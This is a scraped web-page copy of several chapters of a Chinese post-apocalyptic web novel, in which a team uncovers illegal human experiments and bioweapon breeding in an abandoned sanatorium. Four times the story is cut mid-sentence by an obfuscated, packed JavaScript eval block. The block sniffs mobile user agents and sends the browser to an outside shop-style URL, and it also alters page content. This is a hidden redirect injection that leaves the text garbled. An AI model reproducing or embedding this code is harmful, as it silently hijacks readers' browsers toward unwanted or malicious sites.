李明岐没想到刚才林洗练比他还冷静,那条扭曲畸形的毛瘤尾巴抽过来,她居然眼都不眨,一步不动地找怪虫破绽。 “胆子够大的。”李明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139022|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岐拍拍林洗练,“谢了,不然被那尾巴抽一下,我得膈应好几天。” 其实林洗练不是不怕,只是她不能每次都躲,她不是每次都有好运气的。 从前她就是一个朝九晚九的社畜,每天被一堆精神内耗的事缠身,却从来不会有什么生存危机。 最大的快乐是周末吃一顿好的,最小的幸福是工作日早上按掉闹铃可以再睡十分钟。 可那一天睁开眼,她再也没有奢侈的十分钟了。 穿越到野外,一路逃到卫星集市。 一句话的叙述,轻描淡写带过了多少凶险。 从前只在平面看过的地图,忽然升出高山划出大河,遮天蔽日的丛林中,鸟惊一声都让人神经绷紧,光裸贫瘠的荒地上只剩砂石看不见任何活物。 她不敢回想自己每天都是如何度过,可求生的本能迫使她记住,记住每一次躲藏,每一次逃脱,每一次侥幸反击,每一种危险预兆。 她必须牢牢记住自己为了生存几乎变成兽类后的所有行状,冷静审视,总结经验,才有可能活下来。 她活了下来。 林洗练陷在回忆一瞬失神,恍惚间觉得自己肩膀被碰了碰,抬起头,银狼正垂眸看着她。 “受伤了。” 刚才怪虫那一尾鞭几乎就要打在林洗练脖子上,那力度,颈椎当场骨折都有可能。 大约还是被尾锋扫了一下,林洗脸脖颈处有一道红痕,银狼下意识伸手想碰,似乎又觉得不妥,动作便只是落在肩膀。 “没事。”林洗练自己摸了摸,“没什么感觉,也没破皮,就是像李明岐说的那样,怪膈应的。” 那条毛瘤触手实在怪异,密密麻麻的卷曲长毛还会自己摆动,绝对到了碰一下就想跳进消毒液洗澡的程度。 陈一斯正在收集怪虫的组织,转头喊李明岐去旁边的实验室找些容器,“造物病毒”东研也在追踪,这些残肢段块带回去应该能卖个好价钱。 “刚才在想什么?”银狼忽然开口。 他不是没注意到林洗练的神情,刚才李明岐说他们配合得好,她没接话,像是想起了什么一样。 “没什么,以前的一些破事儿。”林洗练笑着摆摆手,也去帮着“肢解”怪虫去了。 银狼沉默看着她的背影。 李明岐从旁边的实验室捡破烂回来了,把一兜子瓶瓶罐罐的容器扔在地上。 “不是我想打断你们勤劳致富啊,主要是现在我们怎么出去?” 这医疗区在地下,如果找不到正儿八经的出口,就是硬炸硬轰也很难破开,而且动静大了说不准整个塌陷,直接让他们入土,下葬都省了。 陈一斯:“这地方不知道有多大,连个地图都没有,走得深了也许我们原地打转都不知道。” 李明岐看了看时间,五点四十,天快亮了,申队那边应该已经发现他们不见了。 “胡乱找出口肯定是不行了,得想个别的办法。” 林洗练点点头,脑子里忽然划过一个念头,跨过满地虫尸粘液进入房间,把那本工程师的日记捡了起来。 “或许,我们不用找出口。” 29. 【规则疗养院】逃出生天 申队已经带着人在别墅区搜第三圈了,还是没找到李明岐他们的踪影。 天已经亮了,时间不等人,再这么下去可能不得不考虑放弃,或者回去找后援来搜寻。 就在申队和琢尔商量时,客厅的沙发忽然一声响动,只见地板下沉了一块,一只大型机械臂从黑沉沉的洞口探出,上面挂着两个人。 银狼和李明岐。 与此同时,楼上主卧也有动静,床头背靠的墙体向侧滑动,一只机械臂伸出来,挂在上面的林洗练和陈一斯松手跳到了床上。 陈不苟被掐在半空的心终于稍稳了些,双眼跟X光似的上下扫射看大家有没有受伤,“发生什么了?你们单独行动?而且不叫我?” 陈一斯“啧”了一声:“没看见地下那个怪物,你就偷着乐吧。” 林洗练解释了来龙去脉,“幸好有那本日记,说医疗区每天有机器定时运送病人,既然偷偷摸摸搞了那么久的人体实验,那肯定有一个成熟的,且自动化程度较高的,连接地下和别墅的运输系统。” 他们也一定是通过这个系统才被传送至医疗区,于是四个人一合计,选择原路返回到最初的房间,大概等到了六点半左右,一阵机械嗡鸣,墙体后撤,果真露出了里面足以承载三四个成人的机械臂,以及流水线般的运输带。 林洗练指指床,还有客厅那张沙发,“昨晚申队发现这里部分家具是镶死在地上的,尤其以床,沙发这种能睡人的为主,大概是因为设计建造之初,机械臂的作业区域就是固定好的,如果这些大型家具不做限制,难保有些‘住户’随意挪动,机械臂抓不到人。” “昨晚剪刀石头布,我和陈一斯赢了睡卧室大床,银狼第二轮胜出睡沙发,这都是人之常情可能休息的地方,也是机械臂的作业区域。” 根据工程师的日记,医疗区滥用未经审批的药物,那合理怀疑整个非法人体实验的流程可能是这样: 顾客或病人入住别墅休假疗养,经过筛选审查被选为受试者。别墅内可供休憩的家具都连接地下,夜晚房间内释放某种神经毒素,顾客在睡梦中失去意识,被机械臂移送至医疗区接受人脑实验,次日早晨再被原路送回别墅,准确地说是直接送到前天晚上睡觉的家具上。 林洗练:“所以昨晚大家才睡的那么沉,没人听到响动,就连我们自己都不知道什么时候被扔进了地下医疗区。” 这里林洗练隐去了银狼对药物的反应,神经回路被改造一事没必要四处张扬,到底和木山杨只是临时组队合作,还没到要掏心掏肺的份上。 李明岐不动声色看了林洗练一眼。 “不对啊。”陈不苟挠头,“那李明岐是怎么下去的?他昨天就睡我旁边啊。” 没有争取到沙发和床的人大多睡地毯,飘窗,或者几把能挪动的椅子拼一下。陈不苟昨晚乐呵呵地看着李明岐死皮赖脸还想再和银狼抢一抢沙发,然后被对方一脚踹了下来。 “我后半夜去睡躺椅了啊。”李明岐理直气壮道。 陈不苟一愣,“书房那个?” “对。” “半夜三更的,那个鬼娃娃你看着不慎得慌啊?” 慎也得去,李明岐只要一想到这别墅区荒废这么久,地毯经年累月的不知道被什么东西踩过,就膈应得怎么都睡不着。 申队拍拍他的肩,“洁癖害死人吧。” 琢尔思索了一下整个流程,觉得宏树疗养院怕是不简单,“这套运输系统不可能一直运转了半个世纪,大概率是有人故意重启的。” “我们也是这样想。”陈一斯点头,“那医疗区灯火通明的,什么电力系统能在无人维护的状况下挺半个世纪?工程师日记里说他们那时候限时供电,我猜应该是后备电源,主电路很可能被人为切断了,为的就是困死他们,掩盖地下的非法实验场。” 那么现在呢?现在又是谁打开了总电路? “假设这疗养院里正有什么人监视我们的一举一动。”林洗练思索道,“他启动运输系统,将我们抓进地下医疗区,只要他愿意,切断电源,我们直接就会被困死在里面。” “可他没这么做,甚至最后的机械臂,并不是在整点时分出现的,那就很可能不是系统设定,应该是人为放出。” 背后之人为什么刻意给他们一条生路? “也许他很有信心。”银狼瞥了一眼窗户,别墅群后方的医疗中心安静伫立,“只要我们继续探查下去,就一定不可能活着离开宏树。” 队里的其他成员被银狼说得有点发毛,迟疑道:“那还按计划走吗?” 其实调查到这一步也很可以了,光是地下医疗区这一条,就够拿出来补全一部分旧纪元档案。 只是还有许多疑点解释不清,比如当年那些离奇古怪的传闻,什么流浪汉捡死婴,医院卖尸配冥婚,员工守则中的菜谱怎么说,何余又在调查什么? “何余的目的也许跟一个人有关。”琢尔点开设备,弹出全息屏,“我修复了储存卡中的所有数据,大致分析了他的视频,他最后一次提到洪哲是说洪哲消失了,在当年的六月份左右,他没有深入调查,那段时间他的状态很不好,非要说的话,有点魔怔。” 视频里的何余面色苍白,神经质地扣着胳膊上一块伤疤,痂皮被他整个掀掉,嫩红的血肉翻了出来。 【“失踪,失踪…… 找不到,洪哲先生了……”】 “那后来呢?”李明岐问,“疗养院是八月份才出的事,这中间两个月他干了什么?” “他好像,找到了一个线人。”琢尔调出一份档案。 线人叫庄蝶,跟何余在东庆大学的一个加密论坛相识,两人交流了很多关于宏树疗养院的异常,包括员工守则,鬼怪传闻,他们没有见过面,一直是在论坛文字往来。 庄蝶称自己是宏树疗养院的医护人员,能够接触到院内一些特殊病患,并且已经掌握了宏树非法实验的有力罪证。 琢尔:“恐怖袭击发生前,两人有计划要见一面,交接证据。” 何余在卧底录像中没有过多提及庄蝶,大概是出于对线人的保护,琢尔找到的资料也只显示她是东庆大学医学院毕业生,比何余大两届。 “什么资料需要当面交接?”陈不苟摸摸下巴,“无非是视频,图片,他们论坛都聊上了,直接在线传不就行了?还安全。” “也许是实物证据。”李明岐猜测。 银狼眯了眯眼,“病毒样本?” 林洗练想起地下医疗区那个感染了造物病毒的怪虫。 陈一斯:“只有继续走下去才能知道真相了。“ “投票吧。”申队道,“同意继续的和想要撤离的,少数服从多数。” 陈一斯率先表态,她本身是冲着机械篡改体来的,查到现在连个影子都没见到,怎么肯回去。 “我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150051|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞成继续。”李明岐举手,“总得让我弄清楚是谁把我扔到地下的吧。” 陈不苟随姐,林洗练中立,银狼看了她一眼,也没有表态。 申队:“琢尔你呢?” 琢尔沉默片刻,指了指全息屏上的何余,“我想弄清楚他的故事。” 其他队员也纷纷表态,申队数了数,“行,那咱们就继续,五分钟后前往医疗中心,那是我们的最后一站。” 众人开始收拾,琢尔划掉全息屏弹开的页面,叠在一堆何余视频之下的,是洪哲的电脑活动数据。 “这是什么?”李明岐凑过脑袋看了一眼,“洪哲发的消息?” “不对劲,有鬼,逃?发那么多遍,他也魔怔了吧。” 琢尔:“没发出去,消息被拦截了。” “那我猜他一定用的疗养院的无线网。”李明岐耸肩。 “本来都准备辞职和家人一起度假了,真是可惜。”琢尔摇头。 一旁收拾东西的林洗练听到这话,忽然动作一顿。 “洪哲打算辞职?” 琢尔:“对,他来宏树好像是为了把自己的带薪假休完,然后就辞职。” 宏树是一间知名度很高的疗养院,它的财务部放着无数公司的合同,承包员工的体检,休假,治疗事宜,别墅区入住的尽是大公司的高级员工。 何余曾提到洪哲所在的公司是金融行业巨头,他自己也是个不小的主管,手下客户众多,薪资可观。 何余还说,洪哲在疗养院休假期间经常忙工作,涉及一桩诉讼案件。 林洗练忽然有一个猜想: “或许宏树敢肆无忌惮掳掠正常人进行非法实验,背后也有公司们的默许和推波助澜。” 话音落,周围的队友都看向她。 拿洪哲来说,金融行业高管,身上资源无数,他的辞职一定会对公司产生影响,不说他是否掌握着公司某些见不得人的税务机密,就单说他手下的客户,可能都会被他带到竞争者手里。 一个打算辞职,甚至已经在挥霍自己带薪假的员工,有多大可能会牺牲个人时间去帮公司处理工作? 那个诉讼案件,大概率不是什么工作任务,而是洪哲和公司之间的纠纷。 既然闹到对簿公堂,那就是难以挽回,既然难以挽回,干脆不要挽回。 直接让洪哲这个人消失,岂不皆大欢喜。 于是,曾与疗养院签下巨额服务合同的公司暗暗授意,洪哲的名字便悄无声息上了黑名单。他入住了一间设计之初就别有用心的别墅,夜晚来临,神经毒素释放,他昏睡的意识根本感受不到自己正躺在一个巨大的运输流水线上。 后续洪哲在疗养院疯了,傻了,还是意外身亡,公司都不在意,疯子不会重返行业,死人无法开口告密。 宏树疗养院,成了巨头企业的清道夫。 “也许是我想多了。”林洗练强迫自己从阴谋论中走出来,“这么迫害员工也太匪夷所思了,更何况怎么和家人交代呢?” “交代什么。”陈一斯冷哼,“一手拿钱,一手握权,足够摆平一条命。” 别说往前数半个世纪,就是自然重启之后,那些巨头企业也根本不把人命放在眼里。 陈一斯他们小队当年执行任务,多得是捣毁资本暗中支持的非法实验点。 末日啊,沦陷的不仅仅是城池土地, 更是人心。 30. 【规则疗养院】无主病房 医疗中心是一栋很有设计感的建筑,不像前面的行政楼和别墅区多少都被轰炸波及,这里保存得很好,或者说,有点过于好了。 踏入大门,一般医院都会在一楼设置咨询台,但这里直接就是科室和病房,挨挨挤挤,连过道都狭窄,充分利用每一寸空间。 大概也是因为这种设计,导致灾难来临时场面格外混乱,许多没有来得及撤离的病人,因为治疗器械的停运死在了病床和走廊上,扶梯上下有多具被卷入机器的尸骨,就连楼梯间也有因为踩踏事故而几乎被嵌入台阶的残尸。 前面的行政楼只留满地废纸文档佐证当年撤离的匆忙,而医疗中心,是真真正正用尸体堆起来的人心惶惶,兵荒马乱。 小队找到了档案室,暴力破开了几个保险柜,可那零零散散的纸质文件中并不见什么骇人的东西,最多是医疗器械的购买问题,属腐败范畴,但还扯不上人命。 队员们还在档案室继续挖材料,只有陈不苟表情古怪,像长了跳蚤一样勾着脖子这看看那瞧瞧。林洗练瞥见,跨过满地文件凑过去拍了拍他,“你找什么呢?” 陈不苟太专注,被吓了一跳,思索了片刻道:“这医院……不太对劲。” “你发现什么了?” “就是……就是不对劲,这房子,这墙,这走廊,你,你看见没?” “……我没瞎。” “哎不是。”陈不苟挠挠头,急得团团转,“我说不清楚,这样,我给你画。” 陈不苟点开设备,三俩下指绘出一个类似于房型图的轮廓,想了想怕不便理解,索性改画成立体透视。 “就比如现在这个档案室,目测有个一百平方米,但是你从外面看,它和隔壁房间离这么远,我们来时走廊那个岔口记得吗?如果前后走廊是平行,那中间留出的空间起码能建个一百五十平米的档案室,这医院小气吧啦的,连咨询台都舍不得占地,它干嘛留着空间不用都砌成墙?” 这还只是一处,刚才陈不苟一路过来,发现好几处浪费空间的不合理设计。 他学美术的,空间感知能力非常强,在他眼里这些“空置”区极其明显,就好比一具人体,他能非常清晰地看透骨骼和肌肉,但对于林洗练等人,他们必须盯着立体图听着讲解才能差不多感觉出来。 “你是说,这医院有秘密空间?”李明岐听见二人交谈,也凑了过来。 林洗练:“密室?” 陈不苟点点头,“这栋建筑的设计非常奇怪,首先是外观,造型感很重,简直是为了凹造型而凹造型,内部更是七拐八绕一团遭,如果没有这遍地的指示牌,只怕常年在里面工作的医护人员一不小心都会走错。” 这倒是真的,小队刚进来探索时好几次差点走回头路,都是被陈不苟叫住更正方向。 林洗练想了想,普通人没有陈不苟那么高的敏锐度,空间稍大点且堆满东西的地方少了多了十几平方谁看得出来?何况医院内部曲折复杂,光绕弯就能让人调转好几个方向,更别说去分辨哪连着哪了。 宏树疗养院分明是有心在医疗中心内部藏匿密室。 “那这些密室,我们要怎么进去?”李明岐“嘶”了一声,勾了勾陈不苟肩膀,“能透过这啥啥的空间,看见出入口不?” 陈不苟翻了个白眼,“你当我人形X光?” “没有人形X光,但是有人形武器啊。”陈一斯拍拍银狼肩膀。 医院都荒废了,还考虑什么走正门还是走侧门?银狼身上的设备打一发榴弹炮不是问题,直接大炮开兮轰他墙。 不过考虑到预防坍塌和建筑安全,申队还是决定不要一上来就开大,小锤四十大锤八十地砸墙就比较稳妥。 可等大家砸完一层,墙体内露出了硬度相当的合金板,宏树对医疗中心的密室也算是全方位防护了,普通人徒手根本别想强行进出。 李明岐换了激光枪,在合金板上烧了个轮廓,上脚狠狠一踹。 “咚”得一声,金属倒地,露出了墙后昏暗杂乱的密室,一股经年不散腐臭味扑鼻而来,熏得人一激灵。 “还真是密室啊。” 众人挨个往里钻,入眼是成排的封闭式病床舱,医疗器械,和横七竖八的尸骨,这些人死相怪异,体态畸形,并且各个身穿红白条纹病号服。 申队:“这又是在做什么实验?” 陈一斯凑近病床舱,里面蜷缩的尸体能明显看出骨骼的增大和扭曲,背部隆起,手臂过于粗壮。如果这个人还活着,陈一斯怀疑他站立都成问题,一定会被上肢的重量坠成一个屈膝伏地的姿势。 “不管什么实验,都比地下医疗区残忍多了。”陈一斯绕着看了一圈,吐出一口气,“这些人身体骨骼都不正常,就算这医疗中心专供疑难杂症,有大把可供挑选的人体资源,那也不能病人各个都‘腕线过裆’天赋异禀吧。” 宏树一定对他们做了什么,才导致这些异常的增生。 “这里有门。”琢尔的照明设备掠过墙角,一扇金属门严丝合缝地嵌在墙上。 李明岐抄起激光枪继续当电工,有缝隙切起来快很多,把门卸掉后,外面连接的是一条狭窄的走廊。 这次幕后之人没有为他们通电,黑洞洞的走廊不知道通向何处,林洗练将自己的照明设备调亮,身侧的金属墙壁反射出冰冷的光。 “走吧。”申队打头。 银狼默认断后,林洗练回头,心血来潮挨过去,“你怕不怕?” 问出口又觉得好笑,野区战神,联合武装精英,什么大风大浪没见过,会怕黑? 可出乎意料的,银狼垂眸看了她一眼,吐出一个字,“怕。” 林洗练一愣。 银狼看她被噎住了,不依不饶又追了一句,“怎么办?” 林洗练眯了眯眼,好你个浓眉大眼的,也会拿人开玩笑。 “那我断后呗。”林洗练开始胡诌,“一会儿说不定哪又冒出一个感染了造物病毒的奇美拉,一口把我叼走,你们一回头,诶嘿少一个人,不过不用担心,等会儿我就自己出现了,只不过不能保证我还是我。” 银狼好像笑了一下,林洗练还没看清,忽然感到背后一股力,轻柔却不可抗拒地把自己往前推。 “那你还是走前面。” 林洗练看不见银狼了,撇了撇嘴。下一秒头顶传来低沉的声音,“奇美拉是什么?” “一种神话中的怪物。”林洗练伸手比划,“狮子头颅,山羊身躯,蟒蛇尾巴,吃动物,也吃人,会喷火,后来被人们代指各种奇形怪状的杂交动物。” 银狼:“比如地下医疗区的怪虫?” “对。” 那可真像是个专为造物病毒诞生的词。 队伍忽然一停,前方申队说自己看见了个人影,就杵在五米开外一动不动,歪着头,塌着肩。 众人谨慎靠过去,灯光聚集,这才看清这个人只有半边身子,另外半边被金属门直接夹断了,门上可见深色的血迹。 “这门,是人为操作关闭的?” 也许有人想往外逃,可宏树不想秘密实验区被发现,索性统一关死所有房门,一道冷冰冰的程序指令下去,机械可不管滑门轨道上是否有人。 又是一群被困死的受试者。 破开这扇门,里面的空间比刚才那间病房大很多,中央立着四排难以描述的容器,密封性应该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150531|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,近半个世纪过去,里面还残有浑浊液体,隐隐约约能看见其中泡着什么东西。 陈一斯是资深机械师,医学是必修课,她看见这些形似培养皿的玩意儿的第一眼,脑子里就蹦出一个猜想——人造子宫。 “这怕不是,宏树搞出来的……胚胎?”陈一斯迟疑道。 “胚胎?这么大个?”陈不苟壮着胆子凑上前看,“那长大成人了还了得?” “谁说是人了?”李明岐指了指其中一个还算能看清的容器,“这手臂都快变翅膀了,头上跟蜘蛛似的长这么多眼睛。” 液体中泡着的生物整体看是个人形,可手臂骨骼细长,像原始鸟类的翅膀一样前端还长着一对附爪,爪心朝后;头上环绕八只复眼,大小不一;前胸张开,肋骨如刺状参差,像开口的食人花。 银狼皱眉,一眼便看出这些生理构造的“和谐”,或者说可怕之处。 “武器。” 这东西,是一件完美的人形武器。 蜘蛛复眼提供了三百六十度的视野范围,身前有前爪和骨牙,身后附爪可握武器,全方位攻击和防守。 陈一斯并不惊讶,自然重启之前,那些跨国企业就有不少在暗地里利用造物病毒研制生物兵器,这东西只要设计得好,在军事领域大有用处,自毁程序启动得及时,就能让国际法庭抓不到一点证据。 可问题是,宏树再厉害也只不过是个疗养院,怎么会涉及如此高精的实验和研究? 病毒又是从何获取? “也许,是宏树背后的投资方?”林洗练猜测,“不是说这地方是由企业资助的吗?” “啧,这些资本家真是一分钱都不白花啊。”李明岐摇头,“表面上做慈善工程,背地里搞人体实验。” 一旁申队在考虑要不要暴力破个“培养皿”装瓶带回去交差,思索再三还是算了。 他们只是来探路调查的,清理取样工作还是交给官方吧。 小队拍了些视频照片,退出实验室继续往下走。这些秘密空间仅用狭窄的楼梯和通道相连,视野受限,很难分辨出自己身在何处。 还好陈不苟的空间感在线,低头琢磨了一下,“我们是从四楼档案室附近进来的,现在应该往下下了一层,大概在三楼的西边。 “那后面遇到岔口我们就一直向下,到一楼找个合适的地方破墙出去。”申队转向琢尔,“把我们的行进路线记录一下,这里面曲里拐弯的,到时候给官方队伍做个参考。” 林洗练还是走在银狼前面,举着照明设备东瞧瞧西看看,灯光掠过金属墙壁,忽然照到一道血痕,她愣了一下,隐约觉得像个箭头。 “这有……标记?” 林洗练举光上前,银狼亦步亦趋跟着她,两人面前的墙壁上是一个沾血画就的标识,箭头尾部能清楚地看到血指纹。 或许有受试者在关门前逃出了病房。 申队和琢尔对视一眼,决定跟着看看。 很快,大家就发现通道内有大量类似的血标记,只是画得小,这里光线又暗,刚才大家都专注于脚下的路,这才没有注意。现在有心去找,几乎到处都是,甚至有一个十字岔路每个口都被做了记号。 “这是为什么?”陈不苟想不通,“都画上箭头,这还是在指路吗?” 银狼蹲下身,仔细观察那些血标记,微微皱眉,“不一样。” “什么不一样?” “画得不一样。” 没错,虽然这些血标记基本都是指向类的,但有长有短,有三角头,有方形头,这确实不像在指路,倒像是…… “记录。”林洗练恍然大悟,“这个人在标记自己走过的路线!” 31. 【规则疗养院】子宫怪物 一个被困密室的人,手边没有任何工具,甚至连笔都没有,只能以血画图区分这里曲折回环的道路,企图逃出生天。 可惜她没能做到。 小队顺着一种箭头走,绕了一大圈,找到了两具尸体。 是女尸,一个身穿红白条纹病号服,另一个身穿蓝色工作服。 四十多年过去,尸体早就面目全非不可辨认,陈一斯上前大致检查了一番,从残存的一些痕迹来看,身穿病号服的女人是个孕妇,被割喉而死,手法利落,一刀致命,可矛盾的是,她腹部被连捅了数十刀。 数十刀,穷凶极恶的歹徒都不一定有这样的狠心。 “医生杀死了病人?”陈一斯喃喃。 可蓝色工作服的医护人员本不应该出现在这里,他们是宏树疗养院明面上的员工,为了防止他们知道到暗地里那些实验,疗养院甚至出台了诡异的员工守则严防身穿蓝色的人员跟身穿红色的接触。 很显然,在宏树,红色的优先级别高于蓝色,外面躺着大把穿蓝白条纹的病人,和蓝色工作服的医生尸体,而红色工作服的医生,除了地下医疗区困死的那一批,眼下这个精心隐藏的密室内,林洗练他们没有看见一个。 这些研究生物兵器的“医生”,在宏树眼里都是要优先保护的财产,恐袭来临时,他们最先得到消息,也最先被安排撤离。 “凶器可能是这个?”陈一斯在医生口袋中翻出一把折叠刀。 “等等,好像还有东西。”陈一斯把光源凑近,又从口袋中拉出一部手机。 对于半个世纪之后的人来说,这算是老设备了,可林洗练看这种形态的手机还是觉得挺亲切的,手机壳背后还有装饰链条,上面好像别着个胸牌。 “这是……”林洗练将那小玩意翻转过来,两个字映入眼帘—— 庄蝶。 “这尸体是庄蝶?” 众人吓了一跳。 是,庄蝶和何余曾商议要见面交接证据,可惜在定好的日期前一周医院发生了被恐怖袭击,两人没能见上面。 何余也许是为了那些录像证据才折返回宿舍却不幸被轰炸波及,林洗练他们也想过,既然何余没能逃出去,那庄蝶会不会也…… 李明岐拿起手机,“我看这东西保存得不错,没磕没碰的,琢姐,能修吗?” 半个世纪前的电子产品,电池怕是早就不行了,但储存在芯片中的数据或许还可以恢复。 琢尔接过,开始拆机鼓捣。 队伍干脆停下来休息片刻,林洗练拿着庄蝶的手机壳,擦了擦胸牌上干裂的血迹。 “联合武装有很多士兵在出任务时都会佩戴身份牌。”银狼忽然开口。 林洗练愣了一下,“哦我知道,就是那种,旧纪元影视作品里,士兵戴在脖子上的不锈钢名牌?” “对。”银狼点头。 “那你有吗?”林洗练好奇,伸头往对方脖子上瞧。 银狼还挺坦然,甚至微微扯开衣服给她看,“我不记得了。” 反正从他被林洗练捡回来,身上里里外外的物件应该都被瞧了个遍,要是有名牌,早该被发现了。 “队长没有那东西。”路过的陈一斯听见二人聊天,插话道,“在野外,人们的死因和死相千奇百怪,名牌是为了伤亡发生时及时确认身份,但队长说他没有要交代的朋友或者家人,所以用不上。” 林洗练看向银狼,对方垂着眼,没有表情。 “不过后来,这话传着传着就变味儿了。” 陈一斯本来是想去看琢尔倒腾手机,这会儿谈及旧事兴致上来了,干脆停下讲故事: “队长二十岁调入联合武装一级重防队,无论训练还是实战都成绩优秀,执行任务更是少有失败,重防队其他班组的人说队长不戴名牌是因为他根本就不认为自己会死在野外,狂妄自大,以此彰显自己的战斗力。” 啊,被误会凡尔赛了。 “那老板你有名牌吗?”林洗练问。 “我当然有。”陈一斯冲那边角落里正在和李明岐玩猜拳的陈不苟扬了扬下巴,“真要是出了事,总得给二狗子一个交代吧。” 没有名牌,不知生死,庇护城内的家人就只剩煎熬,每天盼着消息,又每天害怕消息。 “胸牌,就是庄蝶的名牌。”银狼缓缓道。 本该是别在胸口,可庄蝶却在生命最后时刻取下来穿在了手机上,一个人的名字是那样重要,她宁可让自己成为一具无名尸,都要将这手机绑定姓名。 里面一定有重要的东西。 “也许是她想要交给何余的证据?”陈一斯猜测。 林洗练觉得不一定,她很赞同陈不苟的说法,如果证据只是一些电子资料,在网上走加密渠道发送岂不更安全,为什么要冒险见面呢? 而且还是在宏树疗养院内见面。 “导出来了。”那边琢尔忽然出声。 庄蝶的手机保存完好,没有刻意加密,数据恢复起来很快,就是转换一些现在已经弃用的文件格式费了些时间。 琢尔首先点开了一段被标记的视频。 【“我叫庄蝶,宏树疗养院的护士,几个月前我发现这家疗养院在秘密进行非法人体实验,我身边的女子就是证人。”】 视频中的庄蝶头发凌乱,身上沾血,微微颤抖的镜头显示出她的恐惧和慌乱,可她坚定地搂着一个怀孕的女子,镜头摇晃时,能看到后者身下在缓缓渗血,金属地板上有一大片擦曳的痕迹。 【“她叫耶莉,是疗养院通过人口黑市买来的‘代孕实验体’,宏树让她强行怀孕,然后在胚胎中注入某种与生物基因融合了的病毒,以此孕育活体生化武器。】 庄蝶将镜头侧向耶莉,女子一只手扶着自己的肚子,一只手撑地勉强坐直,深吸口气压下眉宇间的痛苦神色,缓缓开口。 众人一怔,面露迷茫。 “这,听不懂啊。” 末日灾难让多少国家湮灭,文化丧失,现在的翻译器最多应付几种融合语言,很多末日前的语种,除非能找到一定数量的幸存者,否则别说重建留档,翻译读懂都难。 李明岐:“庄蝶的手机里肯定有那个年代的翻译软件,能搭个通道然后语音转译吗?” 虽然智能度和准确度不一定行,但总比没有强吧。 琢尔摇头,“翻译软件的机制是联网后将文本上传至云端处理,再反馈给用户,自然重启之后旧网崩溃,软件肯定是用不了了。” 陈一斯:“那个年代的翻译软件应该已经可以内置人工智能模型了,试试离线本地运行呢?” 琢尔迟疑,“那需要相应的语言包模型才能跑起来。” “手机里说不定就有。”林洗练忽然想到,“庄蝶跟耶莉交流大概率也是经过翻译软件,这疗养院在深山老林里,网络信号稳定性差,庄蝶说不定在翻译软件里下载过这种语言,这样不联网也能本地翻译。” 这猜测很有道理。琢尔立刻着手在数据中进行检索,分离出软件中的职能模型和语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175004|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言包,再接入语音转文字功能,重新分析视频。 【“我叫耶莉,出生在一个贫穷战乱的国家,八岁时被父母卖掉,经手过好几任买家,我被迫从事过许多非法行业,包括贩毒和情色,十六岁被再次转卖,进入宏树疗养院成为一名代孕者。” “一开始我并不知道疗养院要对我们做什么,这里的语言我看不懂听不懂,直到有一天我意识到自己很久没有来月经,而肚子又有了不正常的隆起。”】 【“与我一同被卖进来的女子有十几个,我们住在同一个病房,但被隔离在不同的病床舱内,每天都吃药,做手术或者打针,从来没有人来跟我们解释什么。” “我们在差不多的时间怀孕,但有些人的肚子膨胀得飞快,甚至在两三个月的时候就要临盆……我见过女人生孩子,那满地水液和痛苦的嚎叫,分明就是要生的迹象,可这些女人被医生火急火燎地推出病房接生,却再也没有回来。” “还有些女人,莫名其妙流了产,被医生送回来时,肚子明显瘪了下去,可没过多久,又怀了孕。”】 【“我时常感觉自己还算幸运,没有过早临盆,也没有流产,只是我很害怕,我不知道自己子宫里到底是个什么东西。” “我看得出来那些医生很满意我的肚子,在他们的‘成品’被成功孕育出来之前,我应该都是安全的,于是我开始装疯,离开病床舱,一点点扩大自己的活动范围,我很幸运遇到了庄蝶,她相信我说的话,并且愿意救我出去” “只可惜连累了她,真的非常抱歉。”】 【“我看到过其他病房里的“试验品”,意识到自己肚子里的东西很可能是个怪物,现在我也分不清自己是快临盆,还是要流产,但我不能让它出来,我会自杀,至少保证庄蝶的安全,也许在再熬几天,她能顺利等到救援。”】 耶莉艰难地说完了,腹痛让她头上冒了一层冷汗。 